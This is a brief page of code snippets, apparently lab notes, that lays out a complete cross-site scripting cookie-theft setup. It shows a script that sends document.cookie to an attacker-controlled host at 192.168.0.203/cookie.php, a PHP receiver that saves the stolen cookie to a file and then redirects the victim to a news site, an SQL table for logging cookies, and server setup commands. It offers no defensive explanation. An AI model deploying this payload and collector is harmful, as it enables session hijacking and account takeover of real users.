Script and PHP Example

JavaScript Code

        <script>
            alert(document.cookie);
        </script>

        <script>
            location.href = '192.168.0.203/cookie.php?cookie=' + document.cookie;
        </script>
    

SQL Code for Cookie Table

        CREATE TABLE cookie (
            idx int(6),
            url varchar(100),
            cookie varchar(100),
            reg_date TIMESTAMP DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP,
            PRIMARY KEY (idx)
        );
    

PHP Code

        <?php
            $cookie = $_GET['cookie'];
            // echo $cookie;

            $file = fopen("cookie.txt", "w");
            fwrite($file, $cookie);
            fclose($file);

            // echo "successful";
        ?>

        <script>
            location.href = 'https://news.naver.com/';
        </script>
    

PHP-FPM Installation

        sudo apt -y install php8.3-fpm
        a2enmod proxy_fcgi setenvif
        a2enconf php8.3-fpm
        systemctl restart php8.3-fpm apache2